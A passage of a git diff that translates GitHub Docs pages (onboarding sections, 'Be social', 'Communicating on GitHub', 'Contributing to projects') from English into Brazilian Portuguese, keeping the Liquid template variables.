+As notificações fornecem atualizações sobre a atividade em {% data variables.product.prodname_dotcom %} que você assinou ou da qual você participou. Se não estiver mais interessado em uma conversa, cancele a assinatura dela, deixe de acompanhar ou personalize os tipos de notificações que você receberá no futuro. Para obter mais informações, consulte "[Sobre notificações](/github/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications)".
 
-### 8. Working with {% data variables.product.prodname_pages %}
-You can use {% data variables.product.prodname_pages %} to create and host a website directly from a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. For more information, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages)."
+### 8. Trabalhar com o {% data variables.product.prodname_pages %}
+Você pode usar {% data variables.product.prodname_pages %} para criar e hospedar um site diretamente a partir de um repositório em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages)".
 
 {% ifversion fpt or ghec %}
-### 9. Using {% data variables.product.prodname_discussions %}
-You can enable {% data variables.product.prodname_discussions %} for your repository to help build a community around your project. Maintainers, contributors and visitors can use discussions to share announcements, ask and answer questions, and participate in conversations around goals. For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)."
+### 9. Usar {% data variables.product.prodname_discussions %}
+Você pode habilitar {% data variables.product.prodname_discussions %} para o repositório ajudar a criar uma comunidade em torno do seu projeto. Mantenedores, colaboradores e visitantes podem usar discussões para compartilhar anúncios, fazer e responder a perguntas e participar de conversas sobre objetivos. Para obter mais informações, consulte "[Sobre discussões](/discussions/collaborating-with-your-community-using-discussions/about-discussions)".
 {% endif %}
-## Part 4: Customizing and automating your work on {% data variables.product.product_name %}
+## Parte 4: Personalizando e automatizando seu trabalho em {% data variables.product.product_name %}
 
 {% data reusables.getting-started.customizing-and-automating %}
 
 {% ifversion fpt or ghec %}
-### 1. Using {% data variables.product.prodname_marketplace %}
+### 1. Usar {% data variables.product.prodname_marketplace %}
 {% data reusables.getting-started.marketplace %}
 {% endif %}
-### {% ifversion fpt or ghec %}2.{% else %}1.{% endif %} Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API
+### {% ifversion fpt or ghec %}2.{% else %}1.{% endif %} Usando o {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}API{% endif %}
 {% data reusables.getting-started.api %}
 
-### {% ifversion fpt or ghec %}3.{% else %}2.{% endif %} Building {% data variables.product.prodname_actions %}
+### {% ifversion fpt or ghec %}3.{% else %}2.{% endif %} Criando {% data variables.product.prodname_actions %}
 {% data reusables.getting-started.actions %}
 
-### {% ifversion fpt or ghec %}4.{% else %}3.{% endif %} Publishing and managing {% data variables.product.prodname_registry %} 
+### {% ifversion fpt or ghec %}4.{% else %}3.{% endif %} Publicando e gerenciando {% data variables.product.prodname_registry %}
 {% data reusables.getting-started.packages %}
 
-## Part 5: Building securely on {% data variables.product.product_name %}
-{% data variables.product.product_name %} has a variety of security features that help keep code and secrets secure in repositories. Some features are available for all repositories, while others are only available for public repositories and repositories with a {% data variables.product.prodname_GH_advanced_security %} license. For an overview of {% data variables.product.product_name %} security features, see "[{% data variables.product.prodname_dotcom %} security features](/code-security/getting-started/github-security-features)."
+## Parte 5: Criando com segurança em {% data variables.product.product_name %}
+{% data variables.product.product_name %} tem uma variedade de recursos de segurança que ajudam a manter códigos e segredos seguros nos repositórios. Algumas funcionalidades estão disponíveis para todos os repositórios, enquanto outras estão disponíveis apenas para repositórios públicos e repositórios com uma licença de {% data variables.product.prodname_GH_advanced_security %}. Para uma visão geral das funcionalidades de segurança de {% data variables.product.product_name %}, consulte "[Funcionalidades de segurança de {% data variables.product.prodname_dotcom %}](/code-security/getting-started/github-security-features)".
 
-### 1. Securing your repository
-As a repository administrator, you can secure your repositories by configuring repository security settings. These include managing access to your repository, setting a security policy, and managing dependencies. For public repositories, and for private repositories owned by organizations where {% data variables.product.prodname_GH_advanced_security %} is enabled, you can also configure code and secret scanning to automatically identify vulnerabilities and ensure tokens and keys are not exposed. 
+### 1. Proteger o repositório
+Como administrador do repositório, você pode proteger os seus repositórios definindo as configurações de segurança do repositório. Elas incluem o gerenciamento de acesso ao seu repositório, a definição de uma política de segurança e o gerenciamento de dependências. Para repositórios públicos e para repositórios privados pertencentes a organizações em que o {% data variables.product.prodname_GH_advanced_security %} está habilitado, você também pode configurar o código e a digitalização de segredos para identificar automaticamente vulnerabilidades e garantir que os tokens e chaves não sejam expostos.
 
-For more information on steps you can take to secure your repositories, see "[Securing your repository](/code-security/getting-started/securing-your-repository)."
+Para obter mais informações sobre as medidas que você pode tomar para proteger seus repositórios, consulte "[Protegendo seu repositório](/code-security/getting-started/securing-your-repository)".
 
 {% ifversion fpt or ghec %}
-### 2. Managing your dependencies
-A large part of building securely is maintaining your project's dependencies to ensure that all packages and applications you depend on are updated and secure. You can manage your repository's dependencies on {% data variables.product.product_name %} by exploring the dependency graph for your repository, using Dependabot to automatically raise pull requests to keep your dependencies up-to-date, and receiving Dependabot alerts and security updates for vulnerable dependencies. 
+### 2. Gerenciando suas dependências
+Uma grande parte da criação é manter as dependências do seu projeto para garantir que todos os pacotes e aplicativos dos quais você depende estejam atualizados e seguros. Você pode gerenciar as dependências do seu repositório em {% data variables.product.product_name %}, explorando o gráfico de dependências para o seu repositório, usando o Dependabot para aumentar automaticamente os pull requests para manter as suas dependências atualizadas e receber alertas de dependência e atualizações de segurança para dependências vulneráveis.
 
-For more information, see "[Securing your software supply chain](/code-security/supply-chain-security)."
+Para obter mais informações, consulte "[Protegendo a cadeia de suprimentos do seu software](/code-security/supply-chain-security)".
 {% endif %}
 
-## Part 6: Participating in {% data variables.product.prodname_dotcom %}'s community
+## Parte 6: Participando da comunidade de {% data variables.product.prodname_dotcom %}
 
 {% data reusables.getting-started.participating-in-community %}
 
-### 1. Contributing to open source projects
+### 1. Contribuindo para projetos de código aberto
 {% data reusables.getting-started.open-source-projects %}
 
-### 2. Interacting with {% data variables.product.prodname_gcf %}
+### 2. Interagindo com {% data variables.product.prodname_gcf %}
 {% data reusables.support.ask-and-answer-forum %}
 
-### 3. Reading about {% data variables.product.product_name %} on {% data variables.product.prodname_docs %}
+### 3. Lendo sobre {% data variables.product.product_name %} em {% data variables.product.prodname_docs %}
 
 {% data reusables.docs.you-can-read-docs-for-your-product %}
 
-### 4. Learning with {% data variables.product.prodname_learning %}
+### 4. Aprendendo com {% data variables.product.prodname_learning %}
 {% data reusables.getting-started.learning-lab %}
 
 {% ifversion fpt or ghec %}
-### 5. Supporting the open source community
+### 5. Apoiar a comunidade de código aberto
 {% data reusables.getting-started.sponsors %}
 
-### 6. Contacting {% data variables.contact.github_support %}
+### 6. Entrar em contato com o {% data variables.contact.github_support %}
 {% data reusables.getting-started.contact-support %}
 
 {% ifversion fpt %}
-## Further reading
-- "[Getting started with {% data variables.product.prodname_team %}](/get-started/onboarding/getting-started-with-github-team)"
+## Leia mais
+- "[Começar com {% data variables.product.prodname_team %}](/get-started/onboarding/getting-started-with-github-team)"
 {% endif %}
 {% endif %}
diff --git a/translations/pt-BR/content/get-started/quickstart/be-social.md b/translations/pt-BR/content/get-started/quickstart/be-social.md
index e59c630dd1..0783c3b6ff 100644
--- a/translations/pt-BR/content/get-started/quickstart/be-social.md
+++ b/translations/pt-BR/content/get-started/quickstart/be-social.md
@@ -1,11 +1,11 @@
 ---
-title: Be social
+title: Interações sociais
 redirect_from:
   - /be-social
   - /articles/be-social
   - /github/getting-started-with-github/be-social
   - /github/getting-started-with-github/quickstart/be-social
-intro: 'You can interact with people, repositories, and organizations on {% data variables.product.prodname_dotcom %}. See what others are working on and who they''re connecting with from your personal dashboard.'
+intro: 'Você pode interagir com pessoas, repositórios e organizações no {% data variables.product.prodname_dotcom %}. Veja em seu painel pessoal no que as outras pessoas estão trabalhando e com quem estão se conectando.'
 permissions: '{% data reusables.enterprise-accounts.emu-permission-interact %}'
 versions:
   fpt: '*'
@@ -19,63 +19,63 @@ topics:
   - Notifications
   - Accounts
 ---
-To learn about accessing your personal dashboard, see "[About your personal dashboard](/articles/about-your-personal-dashboard)."
 
-## Following people
+Para saber mais sobre como acessar o painel pessoal, consulte "[Sobre seu painel pessoal](/articles/about-your-personal-dashboard)".
 
-When you follow someone on {% data variables.product.prodname_dotcom %}, you'll get notifications on your personal dashboard about their activity. For more information, see "[About your personal dashboard](/articles/about-your-personal-dashboard)."
+## Seguir pessoas
 
-Click **Follow** on a person's profile page to follow them.
+Quando você segue alguém no {% data variables.product.prodname_dotcom %}, as notificações sobre as atividades dessa pessoa são recebidas no seu painel pessoal. Para obter mais informações, consulte "[Sobre seu painel pessoal](/articles/about-your-personal-dashboard)".
 
-![Follow user button](/assets/images/help/profile/follow-user-button.png)
+Clique em **Follow** (Seguir) na página do perfil de uma pessoa para segui-la.
 
-## Watching a repository
+![Botão Follow user (Seguir usuário)](/assets/images/help/profile/follow-user-button.png)
 
-You can watch a repository to receive notifications for new pull requests and issues. When the owner updates the repository, you'll see the changes in your personal dashboard. For more information see {% ifversion fpt or ghae or ghes or ghec %}"[Viewing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions){% else %}"[Watching and unwatching repositories](/github/receiving-notifications-about-activity-on-github/watching-and-unwatching-repositories){% endif %}."
+## Inspecionar um repositório
 
-Click **Watch** at the top of a repository to watch it.
+Você pode inspecionar um repositório para receber notificações de novos problemas e pull requests. Quando o proprietário atualiza o repositório, você vê as alterações no seu painel pessoal. Para obter mais informações, consulte {% ifversion fpt or ghae or ghes or ghec %}"[Visualizando suas assinaturas](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions){% else %}"[Assistindo e desassistindo repositórios](/github/receiving-notifications-about-activity-on-github/watching-and-unwatching-repositories){% endif %}."
 
-![Watch repository button](/assets/images/help/repository/repo-actions-watch.png)
+Clique em **Watch** (Inspecionar) no topo de um repositório para inspecioná-lo.
 
-## Joining the conversation
+![Botão Watch repository (Inspecionar repositório)](/assets/images/help/repository/repo-actions-watch.png)
+
+## Ingressar na conversa
 
 {% data reusables.support.ask-and-answer-forum %}
 
-## Communicating on {% data variables.product.product_name %}
+## Comunicando em {% data variables.product.product_name %}
 
-{% data variables.product.product_name %} provides built-in collaborative communication tools, such as issues and pull requests, allowing you to interact closely with your community when building great software. For an overview of these tools, and information about the specificity of each, see "[Quickstart for communicating on {% data variables.product.prodname_dotcom %}](/github/collaborating-with-issues-and-pull-requests/quickstart-for-communicating-on-github)."
+{% data variables.product.product_name %} fornece ferramentas de comunicação colaborativas integradas, como problemas e pull requests, permitindo que você interaja de perto com a comunidade quando estiver construindo um ótimo software. Para uma visão geral dessas ferramentas e informações sobre a especificidade de cada uma, consulte "[Início rápido para comunicar-se em {% data variables.product.prodname_dotcom %}](/github/collaborating-with-issues-and-pull-requests/quickstart-for-communicating-on-github)".
 
-## Doing even more
+## Mais ação
 
-### Creating pull requests
+### Criar pull requests
 
- You may want to contribute to another person's project, whether to add features or to fix bugs. After making changes, let the original author know by sending a pull request. For more information, see "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)."
+ Talvez você queira contribuir com o o projeto de outra pessoa, seja adicionando recursos, seja corrigindo erros. Após fazer as alterações, informe o autor original enviando uma pull request. Para obter mais informações, consulte "[Sobre pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)".
 
- ![Pull request button](/assets/images/help/repository/repo-actions-pullrequest.png)
+ ![Botão Pull request](/assets/images/help/repository/repo-actions-pullrequest.png)
 
-### Using issues
+### Usar problemas
 
-When collaborating on a repository, use issues to track ideas, enhancements, tasks, or bugs. For more information, see '[About issues](/articles/about-issues/)."
+Ao colaborar em um repositório, use problemas para rastrear ideias, aprimoramentos, tarefas ou erros. Para obter mais informações, consulte "[Sobre problemas](/articles/about-issues/)".
 
-![Issues button](/assets/images/help/repository/repo-tabs-issues.png)
+![Botão Issues (Problemas)](/assets/images/help/repository/repo-tabs-issues.png)
 
-### Participating in organizations
+### Participar em organizações
 
-Organizations are shared accounts where businesses and open-source projects can collaborate across many projects at once. Owners and administrators can establish teams with special permissions, have a public organization profile, and keep track of activity within the organization. For more information, see "[About organizations](/articles/about-organizations/)."
+As organizações são contas compartilhadas onde empresas e projetos de código aberto podem colaborar em muitos projetos de uma vez. Os proprietários e administradores podem definir equipes com permissões especiais, ter um perfil público da organização e acompanhar a atividade dentro da organização. Para obter mais informações, consulte "[Sobre organizações](/articles/about-organizations/)".
 
-![Switch account context dropdown](/assets/images/help/overview/dashboard-contextswitcher.png)
+![Menu suspenso de alternância de contexto da conta](/assets/images/help/overview/dashboard-contextswitcher.png)
 
-### Exploring other projects on {% data variables.product.prodname_dotcom %}
+### Explorar outros projetos no {% data variables.product.prodname_dotcom %}
 
-Discover interesting projects using {% data variables.explore.explore_github %}, [Explore repositories](https://github.com/explore), and the {% data variables.explore.trending_page %}. Star interesting projects and come back to them later. Visit your {% data variables.explore.your_stars_page %} to see all your starred projects.  For more information, see "[About your personal dashboard](/articles/about-your-personal-dashboard/)." 
+Descubra projetos interessantes usando o {% data variables.explore.explore_github %}, [Descobrir repositórios](https://github.com/explore) e a {% data variables.explore.trending_page %}. Marque projetos interessantes e volte para eles mais tarde. Visite as {% data variables.explore.your_stars_page %} para ver todos os seus projetos favoritos.  Para obter mais informações, consulte "[Sobre seu painel pessoal](/articles/about-your-personal-dashboard/)".
 
-## Celebrate
+## Comemore
 
-You're now connected to the {% data variables.product.product_name %} community. What do you want to do next?
-![Star a project](/assets/images/help/stars/star-a-project.png)
+Agora você está conectado à comunidade do {% data variables.product.product_name %}. O que quer fazer agora? ![Marcar um projeto com estrela](/assets/images/help/stars/star-a-project.png)
 
 
-- To synchronize your {% data variables.product.product_name %} projects with your computer, you can set up Git. For more information see "[Set up Git](/articles/set-up-git)."
-- You can also create a repository, where you can put all your projects and maintain your workflows. For more information see, "[Create a repository](/articles/create-a-repo)."
-- You can fork a repository to make changes you want to see without affecting the original repository. For more information, see "[Fork a repository](/articles/fork-a-repo)."
+- Para sincronizar seus projetos de {% data variables.product.product_name %} com seu computador, você pode configurar o Git. Para obter mais informações, consulte "[Configurar o Git](/articles/set-up-git)".
+- Também é possível criar um repositório, onde é você pode colocar todos os seus projetos e manter seus fluxos de trabalho. Para obter mais informações, consulte "[Criar um repositório](/articles/create-a-repo)".
+- Você pode bifurcar um repositório para fazer alterações que deseja ver sem afetar o repositório original. Para obter mais informações, consulte "[Bifurcar um repositório](/articles/fork-a-repo). "
 - {% data reusables.support.connect-in-the-forum-bootcamp %}
diff --git a/translations/pt-BR/content/get-started/quickstart/communicating-on-github.md b/translations/pt-BR/content/get-started/quickstart/communicating-on-github.md
index 3f155a9a7e..cdaa67dc5c 100644
--- a/translations/pt-BR/content/get-started/quickstart/communicating-on-github.md
+++ b/translations/pt-BR/content/get-started/quickstart/communicating-on-github.md
@@ -1,6 +1,6 @@
 ---
-title: Communicating on GitHub
-intro: 'You can discuss specific projects and changes, as well as broader ideas or team goals, using different types of discussions on {% data variables.product.product_name %}.'
+title: Comunicar-se no GitHub
+intro: 'Você pode discutir projetos e alterações específicas, bem como ideias mais amplas ou objetivos de equipe, usando diferentes tipos de discussões em {% data variables.product.product_name %}.'
 miniTocMaxHeadingLevel: 3
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/getting-started/quickstart-for-communicating-on-github
@@ -19,138 +19,139 @@ topics:
   - Discussions
   - Fundamentals
 ---
-## Introduction
 
-{% data variables.product.product_name %} provides built-in collaborative communication tools allowing you to interact closely with your community. This quickstart guide will show you how to pick the right tool for your needs.
+## Introdução
+
+{% data variables.product.product_name %} fornece ferramentas de comunicação colaborativa embutidas que permitem que você interaja de perto com sua comunidade. Este guia de início rápido irá mostrar como escolher a ferramenta certa para suas necessidades.
 
 {% ifversion fpt or ghec %}
-You can create and participate in issues, pull requests, {% data variables.product.prodname_discussions %}, and team discussions, depending on the type of conversation you'd like to have.
+Você pode criar e participar de problemas, pull requests, {% data variables.product.prodname_discussions %} e discussões com a equipe, dependendo do tipo de conversa que você gostaria de ter.
 {% endif %}
 {% ifversion ghes or ghae %}
-You can create and participate in issues, pull requests and team discussions, depending on the type of conversation you'd like to have.
+Você pode criar e participar de problemas, pull requests e discussões de equipe, dependendo do tipo de conversa que você gostaria de ter.
 {% endif %}
 
 ### {% data variables.product.prodname_github_issues %}
-- are useful for discussing specific details of a project such as bug reports, planned improvements and feedback. 
-- are specific to a repository, and usually have a clear owner. 
-- are often referred to as {% data variables.product.prodname_dotcom %}'s bug-tracking system.
-  
+- são úteis para discutir detalhes específicos de um projeto como relatórios de erros, melhorias e feedbacks planejados.
+- são específicos para um repositório e geralmente têm um proprietário claro.
+- muitas vezes são referidos como o sistema de rastreamento de erros de {% data variables.product.prodname_dotcom %}.
+
 ### Pull requests
-- allow you to propose specific changes.
-- allow you to comment directly on proposed changes suggested by others. 
-- are specific to a repository. 
- 
+- permite que você proponha alterações específicas.
+- permite que comente diretamente as alterações propostas por outros.
+- são específicos para um repositório.
+
 {% ifversion fpt or ghec %}
 ### {% data variables.product.prodname_discussions %}
--  are like a forum, and are best used for open-form ideas and discussions where collaboration is important. 
--  may span many repositories. 
--  provide a collaborative experience outside the codebase, allowing the brainstorming of ideas, and the creation of a community knowledge base.
--  often don’t have a clear owner.
--  often do not result in an actionable task.
+-  são como um fórum e são mais utilizados para ideias de forma aberta e discussões em que a colaboração é importante.
+-  poderá incluir muitos repositórios.
+-  oferecem uma experiência colaborativa fora da base de código, permitindo o debate de ideias e a criação de uma base de conhecimento comunitária.
+-  frequentemente não têm um proprietário claro.
+-  muitas vezes não resultam em uma tarefa exequível.
 {% endif %}
 
-### Team discussions
-- can be started on your team's page for conversations that span across projects and don't belong in a specific issue or pull request. Instead of opening an issue in a repository to discuss an idea, you can include the entire team by having a conversation in a team discussion.
-- allow you to hold discussions with your team about planning, analysis, design, user research and general project decision making in one place.{% ifversion ghes or ghae %} 
-- provide a collaborative experience outside the codebase, allowing the brainstorming of ideas.
-- often don’t have a clear owner.
-- often do not result in an actionable task.{% endif %}
+### Discussões de equipe
+- na página da sua equipe podem ser iniciadas para conversas que abrangem projetos e não pertencem a um problema específico ou pull request. Em vez de abrir uma issue em um repositório para discutir uma ideia, você pode incluir toda a equipe tendo uma conversa em uma discussão de equipe.
+- permitem que você realize discussões com sua equipe sobre planejamento, análise, design, pesquisa de usuário e tomada de decisão geral do projeto em um só lugar.{% ifversion ghes or ghae %}
+- oferecem uma experiência colaborativa fora do código, o que viabiliza o levantamento de hipóteses.
+- frequentemente não têm um proprietário claro.
+- muitas vezes não resultam em uma tarefa útil.{% endif %}
 
-## Which discussion tool should I use?
+## Que ferramenta de discussão devo usar?
 
-### Scenarios for issues
+### Cenários para problemas
 
-- I want to keep track of tasks, enhancements and bugs.
-- I want to file a bug report.
-- I want to share feedback about a specific feature.
-- I want to ask a question about files in the repository.
+- Quero acompanhar as tarefas, melhorias e erros.
+- Eu quero arquivar um relatório de erro.
+- Quero partilhar o feedback sobre um recurso específico.
+- Quero fazer uma pergunta sobre os arquivos do repositório.
 
-#### Issue example
+#### Exemplo de problema
 
-This example illustrates how a {% data variables.product.prodname_dotcom %} user created an issue in our documentation open source repository to make us aware of a bug, and discuss a fix. 
+Este exemplo ilustra como um usuário do {% data variables.product.prodname_dotcom %} criou um problema na nossa documentação de repositório de código aberto para chamar a nossa atenção para um erro e discutir uma correção.
 
-![Example of issue](/assets/images/help/issues/issue-example.png)
+![Exemplo de problema](/assets/images/help/issues/issue-example.png)
 
-- A user noticed that the blue color of the banner at the top of the page in the Chinese version of the {% data variables.product.prodname_dotcom %} Docs makes the text in the banner unreadable. 
-- The user created an issue in the repository, stating the problem and suggesting a fix (which is, use a different background color for the banner).
-- A discussion ensues, and eventually, a consensus will be reached about the fix to apply.
-- A contributor can then create a pull request with the fix.
+- Um usuário notou que a cor azul do banner na parte superior da página na versão em chinês da documentação do {% data variables.product.prodname_dotcom %} torna o texto no banner ilegível.
+- O usuário criou um problema no repositório, identificando o problema e sugerindo uma correção (que se trata de usar uma cor de fundo diferente para o banner).
+- Uma discussão se inicia e, eventualmente, será alcançado um consenso sobre a correção a ser aplicada.
+- Em seguida, um contribuidor pode criar um pull request com a correção.
 
-### Scenarios for pull requests
+### Cenários para pull requests
 
-- I want to fix a typo in a repository.
-- I want to make changes to a repository.
-- I want to make changes to fix an issue.
-- I want to comment on changes suggested by others.
+- Eu quero corrigir um erro de digitação em um repositório.
+- Quero fazer alterações em um repositório.
+- Eu quero fazer alterações para consertar um problema.
+- Eu quero comentar as alterações sugeridas por outras pessoas.
 
-#### Pull request example
+#### Exemplo de pull request
 
-This example illustrates how a {% data variables.product.prodname_dotcom %} user created a pull request in our documentation open source repository to fix a typo. 
+Este exemplo ilustra como um usuário do {% data variables.product.prodname_dotcom %} criou um pull request na nossa documentação do repositório de código aberto para corrigir um erro de digitação.
 
-In the **Conversation** tab of the pull request, the author explains why they created the pull request.
+Na aba **Conversa** do pull request, o autor explica por que criou o pull request.
 
-![Example of pull request - Conversation tab](/assets/images/help/pull_requests/pr-conversation-example.png)
+![Exemplo de pull request - aba Conversa](/assets/images/help/pull_requests/pr-conversation-example.png)
 
-The **Files changed** tab of the pull request shows the implemented fix.
+A aba**Arquivos alterados** do pull request mostra a correção implementada.
 
-![Example of pull request - Files changed tab](/assets/images/help/pull_requests/pr-files-changed-example.png)
+![Exemplo de pull request - Aba de Arquivos alterados](/assets/images/help/pull_requests/pr-files-changed-example.png)
 
-- This contributor notices a typo in the repository.
-- The user creates a pull request with the fix.
-- A repository maintainer reviews the pull request, comments on it, and merges it.
+- Este contribuidor observa um erro de digitação no repositório.
+- O usuário cria um pull request com a correção.
+- Um mantenedor do repositório revisa o pull request, comenta e faz merge nela.
 
 {% ifversion fpt or ghec %}
-### Scenarios for {% data variables.product.prodname_discussions %}
+### Cenários para {% data variables.product.prodname_discussions %}
 
-- I have a question that's not necessarily related to specific files in the repository.
-- I want to share news with my collaborators, or my team.
-- I want to start or participate in an open-ended conversation.
-- I want to make an announcement to my community.
+- Tenho uma pergunta que não é necessariamente relacionada a arquivos específicos no repositório.
+- Eu quero compartilhar notícias com meus colaboradores ou com minha equipe.
+- Eu quero começar ou participar de uma conversa aberta.
+- Eu quero fazer um anúncio à minha comunidade.
 
-#### {% data variables.product.prodname_discussions %} example
+#### Exemplo de {% data variables.product.prodname_discussions %}
 
-This example shows the {% data variables.product.prodname_discussions %} welcome post for the {% data variables.product.prodname_dotcom %} Docs open source repository, and illustrates how the team wants to collaborate with their community.
+Este exemplo mostra a postagem de boas-vindas de {% data variables.product.prodname_discussions %} para a documentação do repositório de código aberto {% data variables.product.prodname_dotcom %} e ilustra como a equipe quer colaborar com sua comunidade.
 
-![Example of {% data variables.product.prodname_discussions %}](/assets/images/help/discussions/github-discussions-example.png)
+![Exemplo de {% data variables.product.prodname_discussions %}](/assets/images/help/discussions/github-discussions-example.png)
 
-This community maintainer started a discussion to welcome the community, and to ask members to introduce themselves. This post fosters an inviting atmosphere for visitors and contributors. The post also clarifies that the team's happy to help with contributions to the repository.
+Este mantenedor da comunidade iniciou uma discussão para dar as boas-vindas à comunidade e pedir aos integrantes que se apresentem. Esta postagem promove uma atmosfera de acolhedora para visitantes e contribuidores. A postagem também esclarece que a equipe tem o prazer em ajudar com as contribuições para o repositório.
 
 {% endif %}
 {% ifversion fpt or ghes or ghae or ghec %}
-### Scenarios for team discussions
+### Cenários para discussões em equipe
 
-- I have a question that's not necessarily related to specific files in the repository.
-- I want to share news with my collaborators, or my team.
-- I want to start or participate in an open-ended conversation.
-- I want to make an announcement to my team.
+- Tenho uma pergunta que não é necessariamente relacionada a arquivos específicos no repositório.
+- Eu quero compartilhar notícias com meus colaboradores ou com minha equipe.
+- Eu quero começar ou participar de uma conversa aberta.
+- Eu quero fazer um anúncio à minha equipe.
 
 {% ifversion fpt or ghec %}
-As you can see, team discussions are very similar to {% data variables.product.prodname_discussions %}. For {% data variables.product.prodname_dotcom_the_website %}, we recommend using {% data variables.product.prodname_discussions %} as the starting point for conversations. You can use {% data variables.product.prodname_discussions %} to collaborate with any community on {% data variables.product.prodname_dotcom %}. If you are part of an organization, and would like to initiate conversations within your organization or team within that organization, you should use team discussions.
+Como você pode ver, as discussões da equipe são muito parecidas com {% data variables.product.prodname_discussions %}. Para {% data variables.product.prodname_dotcom_the_website %}, recomendamos usar {% data variables.product.prodname_discussions %} como ponto de partida para conversas. Você pode usar {% data variables.product.prodname_discussions %} para colaborar com qualquer comunidade em {% data variables.product.prodname_dotcom %}. Se você faz parte de uma organização e gostaria de iniciar conversas dentro da sua organização ou equipe dentro dessa organização, você deverá usar discussões de equipe.
 {% endif %}
 
-#### Team discussion example
+#### Exemplo de discussão em equipe
 
-This example shows a team post for the `octo-team` team.
+Este exemplo mostra uma postagem de equipe para a equipe `octo-team`.
 
-![Example of team discussion](/assets/images/help/projects/team-discussions-example.png)
+![Exemplo de discussão em equipe](/assets/images/help/projects/team-discussions-example.png)
 
-The `octocat` team member posted a team discussion, informing the team of various things:
-- A team member called Mona started remote game events.
-- There is a blog post describing how the teams use {% data variables.product.prodname_actions %} to produce their docs.
-- Material about the April All Hands is now available for all team members to view.
+O integrante da equipe do `octocat` publicou uma discussão sobre a equipe, informando a equipe de várias coisas:
+- Um integrante da equipe denominado Mona iniciou eventos remotos de jogos.
+- Há uma postagem no blogue que descreve como as equipes usam {% data variables.product.prodname_actions %} para produzir sua documentação.
+- Material sobre a "All Hands" de Abril agora está disponível para ver todos os integrantes da equipe.
 
 {% endif %}
 
-## Next steps
+## Próximas etapas
 
-These examples showed you how to decide which is the best tool for your conversations on {% data variables.product.product_name %}. But this is only the beginning; there is so much more you can do to tailor these tools to your needs.
+Estes exemplos mostraram como decidir qual é a melhor ferramenta para suas conversas em {% data variables.product.product_name %}. Mas esse é apenas o começo; há muito mais que você pode fazer para adaptar essas ferramentas às suas necessidades.
 
-For issues, for example, you can tag issues with labels for quicker searching and create issue templates to help contributors open meaningful issues. For more information, see "[About issues](/github/managing-your-work-on-github/about-issues#working-with-issues)" and "[About issue and pull request templates](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates)."
+Para problemas, por exemplo, você pode marcar problemas com etiquetas para uma pesquisa mais rápida e criar modelos de problemas para ajudar os colaboradores a abrir problemas significativos. Para obter mais informações, consulte "[Sobre problemas](/github/managing-your-work-on-github/about-issues#working-with-issues)" e "[Sobre problemas e modelos de pull request](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates)".
 
-For pull requests, you can create draft pull requests if your proposed changes are still a work in progress. Draft pull requests cannot be merged until they're marked as ready for review. For more information, see "[About pull requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests#draft-pull-requests)."
+Para pull requests, você pode criar pull requests de rascunho se as suas alterações propostas ainda forem um trabalho em andamento. Não é possível fazer o merge dos pull requests de rascunho até que estejam prontos para revisão. Para obter mais informações, consulte "[Sobre pull requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests#draft-pull-requests)".
 
 {% ifversion fpt or ghec %}
-For {% data variables.product.prodname_discussions %}, you can set up a code of conduct and pin discussions that contain important information for your community. For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)."
+Para {% data variables.product.prodname_discussions %}, você pode definir um código de conduta e fixar discussões que contenham informações importantes para sua comunidade. Para obter mais informações, consulte "[Sobre discussões](/discussions/collaborating-with-your-community-using-discussions/about-discussions)".
 {% endif %}
 
-For team discussions, you can edit or delete discussions on a team's page, and you can configure notifications for team discussions. For more information, see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)."
+Para discussões em equipe, você pode editar ou excluir discussões na página de uma equipe, além de poder configurar notificações para discussões em equipe. Para obter mais informações, consulte "[Sobre discussões de equipe](/organizations/collaborating-with-your-team/about-team-discussions)".
diff --git a/translations/pt-BR/content/get-started/quickstart/contributing-to-projects.md b/translations/pt-BR/content/get-started/quickstart/contributing-to-projects.md
index 41c80b642e..2944ab1e81 100644
--- a/translations/pt-BR/content/get-started/quickstart/contributing-to-projects.md
+++ b/translations/pt-BR/content/get-started/quickstart/contributing-to-projects.md
@@ -1,6 +1,6 @@
 ---
-title: Contributing to projects
-intro: Learn how to contribute to a project through forking.
+title: Contribuir para projetos
+intro: Aprenda a contribuir para um projeto por meio da bifurcação.
 permissions: '{% data reusables.enterprise-accounts.emu-permission-fork %}'
 versions:
   fpt: '*'
@@ -14,45 +14,43 @@ topics:
   - Open Source
 ---
 
-## About forking
+## Sobre a bifurcação
 
-After using GitHub by yourself for a while, you may find yourself wanting to contribute to someone else’s project. Or maybe you’d like to use someone’s project as the starting point for your own. This process is known as forking.
+Depois de usar o GitHub por um tempo, você deverá contribuir para o projeto de outra pessoa. Ou talvez você deva usar o projeto de alguém como ponto de partida para o seu próprio projeto. Este processo é conhecido como bifurcação.
 
-Creating a "fork" is producing a personal copy of someone else's project. Forks act as a sort of bridge between the original repository and your personal copy. You can submit pull requests to help make other people's projects better by offering your changes up to the original project. Forking is at the core of social coding at GitHub. For more information, see "[Fork a repo](/get-started/quickstart/fork-a-repo)."
